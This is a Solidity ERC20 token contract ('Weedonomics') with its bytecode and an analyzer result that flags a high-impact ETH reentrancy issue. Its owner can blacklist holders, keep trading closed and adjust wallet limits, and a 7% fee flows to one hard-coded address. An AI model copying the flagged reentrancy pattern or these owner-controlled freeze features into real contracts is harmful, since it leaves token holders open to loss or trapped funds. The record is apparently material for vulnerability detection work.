// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Weedonomics is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Weedonomics";
string private constant _symbol = "WEED";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xD63930861157582F1314B74788D0e9161400FF70);
address payable private _marketingAddress = payable(0xD63930861157582F1314B74788D0e9161400FF70);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 420 * 10**9;
uint256 public _maxWalletSize = 10 * 10**9;
uint256 public _swapTokensAtAmount = 10 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104fd578063dd62ed3e1461051d578063ea1644d514610563578063f2fde38b1461058357600080fd5b8063a9059cbb14610498578063bfd79284146104b8578063c3c8cd80146104e857600080fd5b80638f70ccf7116100c65780638f70ccf7146104155780638f9a55c01461043557806395d89b411461044b57806398a5c3151461047857600080fd5b80637d1db4a5146103b45780637f2feddc146103ca5780638da5cb5b146103f757600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034a5780636fc3eaec1461036a57806370a082311461037f578063715018a61461039f57600080fd5b8063313ce567146102ee57806349bd5a5e1461030a5780636b9990531461032a57600080fd5b80631694505e116101955780631694505e1461025e57806318160ddd1461029657806323b872dd146102b85780632fd689e3146102d857600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022e57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611888565b6105a3565b005b3480156101f457600080fd5b5060408051808201909152600b81526a576565646f6e6f6d69637360a81b60208201525b604051610225919061194d565b60405180910390f35b34801561023a57600080fd5b5061024e6102493660046119a2565b610642565b6040519015158152602001610225565b34801561026a57600080fd5b5060145461027e906001600160a01b031681565b6040516001600160a01b039091168152602001610225565b3480156102a257600080fd5b506461c9f368005b604051908152602001610225565b3480156102c457600080fd5b5061024e6102d33660046119ce565b610659565b3480156102e457600080fd5b506102aa60185481565b3480156102fa57600080fd5b5060405160098152602001610225565b34801561031657600080fd5b5060155461027e906001600160a01b031681565b34801561033657600080fd5b506101e6610345366004611a0f565b6106c2565b34801561035657600080fd5b506101e6610365366004611a3c565b61070d565b34801561037657600080fd5b506101e6610755565b34801561038b57600080fd5b506102aa61039a366004611a0f565b6107a0565b3480156103ab57600080fd5b506101e66107c2565b3480156103c057600080fd5b506102aa60165481565b3480156103d657600080fd5b506102aa6103e5366004611a0f565b60116020526000908152604090205481565b34801561040357600080fd5b506000546001600160a01b031661027e565b34801561042157600080fd5b506101e6610430366004611a3c565b610836565b34801561044157600080fd5b506102aa60175481565b34801561045757600080fd5b5060408051808201909152600481526315d1515160e21b6020820152610218565b34801561048457600080fd5b506101e6610493366004611a57565b61087e565b3480156104a457600080fd5b5061024e6104b33660046119a2565b6108ad565b3480156104c457600080fd5b5061024e6104d3366004611a0f565b60106020526000908152604090205460ff1681565b3480156104f457600080fd5b506101e66108ba565b34801561050957600080fd5b506101e6610518366004611a70565b61090e565b34801561052957600080fd5b506102aa610538366004611af4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056f57600080fd5b506101e661057e366004611a57565b6109af565b34801561058f57600080fd5b506101e661059e366004611a0f565b6109de565b6000546001600160a01b031633146105d65760405162461bcd60e51b81526004016105cd90611b2d565b60405180910390fd5b60005b815181101561063e576001601060008484815181106105fa576105fa611b62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063681611b8e565b9150506105d9565b5050565b600061064f338484610ac8565b5060015b92915050565b6000610666848484610bec565b6106b884336106b385604051806060016040528060288152602001611ca6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611128565b610ac8565b5060019392505050565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016105cd90611b2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016105cd90611b2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078a57506013546001600160a01b0316336001600160a01b0316145b61079357600080fd5b4761079d81611162565b50565b6001600160a01b0381166000908152600260205260408120546106539061119c565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016105cd90611b2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108605760405162461bcd60e51b81526004016105cd90611b2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016105cd90611b2d565b601855565b600061064f338484610bec565b6012546001600160a01b0316336001600160a01b031614806108ef57506013546001600160a01b0316336001600160a01b0316145b6108f857600080fd5b6000610903306107a0565b905061079d81611220565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016105cd90611b2d565b60005b828110156109a957816005600086868581811061095a5761095a611b62565b905060200201602081019061096f9190611a0f565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109a181611b8e565b91505061093b565b50505050565b6000546001600160a01b031633146109d95760405162461bcd60e51b81526004016105cd90611b2d565b601755565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016105cd90611b2d565b6001600160a01b038116610a6d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105cd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105cd565b6001600160a01b038216610b8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105cd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c505760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105cd565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105cd565b60008111610d145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105cd565b6000546001600160a01b03848116911614801590610d4057506000546001600160a01b03838116911614155b1561102157601554600160a01b900460ff16610dd9576000546001600160a01b03848116911614610dd95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105cd565b601654811115610e2b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105cd565b6001600160a01b03831660009081526010602052604090205460ff16158015610e6d57506001600160a01b03821660009081526010602052604090205460ff16155b610ec55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105cd565b6015546001600160a01b03838116911614610f4a5760175481610ee7846107a0565b610ef19190611ba7565b10610f4a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105cd565b6000610f55306107a0565b601854601654919250821015908210610f6e5760165491505b808015610f855750601554600160a81b900460ff16155b8015610f9f57506015546001600160a01b03868116911614155b8015610fb45750601554600160b01b900460ff165b8015610fd957506001600160a01b03851660009081526005602052604090205460ff16155b8015610ffe57506001600160a01b03841660009081526005602052604090205460ff16155b1561101e5761100c82611220565b47801561101c5761101c47611162565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061106357506001600160a01b03831660009081526005602052604090205460ff165b8061109557506015546001600160a01b0385811691161480159061109557506015546001600160a01b03848116911614155b156110a25750600061111c565b6015546001600160a01b0385811691161480156110cd57506014546001600160a01b03848116911614155b156110df57600854600c55600954600d555b6015546001600160a01b03848116911614801561110a57506014546001600160a01b03858116911614155b1561111c57600a54600c55600b54600d555b6109a98484848461139a565b6000818484111561114c5760405162461bcd60e51b81526004016105cd919061194d565b5060006111598486611bbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561063e573d6000803e3d6000fd5b60006006548211156112035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105cd565b600061120d6113c8565b905061121983826113eb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126857611268611b62565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e59190611bd6565b816001815181106112f8576112f8611b62565b6001600160a01b03928316602091820292909201015260145461131e9130911684610ac8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611357908590600090869030904290600401611bf3565b600060405180830381600087803b15801561137157600080fd5b505af1158015611385573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113a7576113a761142d565b6113b284848461145b565b806109a9576109a9600e54600c55600f54600d55565b60008060006113d5611552565b90925090506113e482826113eb565b9250505090565b600061121983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061158c565b600c5415801561143d5750600d54155b1561144457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061146d876115ba565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061149f9087611617565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ce9086611659565b6001600160a01b0389166000908152600260205260409020556114f0816116b8565b6114fa8483611702565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161153f91815260200190565b60405180910390a3505050505050505050565b60065460009081906461c9f3680061156a82826113eb565b821015611583575050600654926461c9f3680092509050565b90939092509050565b600081836115ad5760405162461bcd60e51b81526004016105cd919061194d565b5060006111598486611c64565b60008060008060008060008060006115d78a600c54600d54611726565b92509250925060006115e76113c8565b905060008060006115fa8e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061121983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611128565b6000806116668385611ba7565b9050838110156112195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105cd565b60006116c26113c8565b905060006116d083836117cb565b306000908152600260205260409020549091506116ed9082611659565b30600090815260026020526040902055505050565b60065461170f9083611617565b60065560075461171f9082611659565b6007555050565b6000808080611740606461173a89896117cb565b906113eb565b90506000611753606461173a8a896117cb565b9050600061176b826117658b86611617565b90611617565b9992985090965090945050505050565b600080808061178a88866117cb565b9050600061179888876117cb565b905060006117a688886117cb565b905060006117b8826117658686611617565b939b939a50919850919650505050505050565b6000826000036117dd57506000610653565b60006117e98385611c86565b9050826117f68583611c64565b146112195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105cd565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079d57600080fd5b803561188381611863565b919050565b6000602080838503121561189b57600080fd5b823567ffffffffffffffff808211156118b357600080fd5b818501915085601f8301126118c757600080fd5b8135818111156118d9576118d961184d565b8060051b604051601f19603f830116810181811085821117156118fe576118fe61184d565b60405291825284820192508381018501918883111561191c57600080fd5b938501935b828510156119415761193285611878565b84529385019392850192611921565b98975050505050505050565b600060208083528351808285015260005b8181101561197a5785810183015185820160400152820161195e565b8181111561198c576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156119b557600080fd5b82356119c081611863565b946020939093013593505050565b6000806000606084860312156119e357600080fd5b83356119ee81611863565b925060208401356119fe81611863565b929592945050506040919091013590565b600060208284031215611a2157600080fd5b813561121981611863565b8035801515811461188357600080fd5b600060208284031215611a4e57600080fd5b61121982611a2c565b600060208284031215611a6957600080fd5b5035919050565b600080600060408486031215611a8557600080fd5b833567ffffffffffffffff80821115611a9d57600080fd5b818601915086601f830112611ab157600080fd5b813581811115611ac057600080fd5b8760208260051b8501011115611ad557600080fd5b602092830195509350611aeb9186019050611a2c565b90509250925092565b60008060408385031215611b0757600080fd5b8235611b1281611863565b91506020830135611b2281611863565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ba057611ba0611b78565b5060010190565b60008219821115611bba57611bba611b78565b500190565b600082821015611bd157611bd1611b78565b500390565b600060208284031215611be857600080fd5b815161121981611863565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c435784516001600160a01b031683529383019391830191600101611c1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ca057611ca0611b78565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1aed0d21c318771eebcd1175d054e95c062b38316a180d0e0f1a0b0eadee37c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.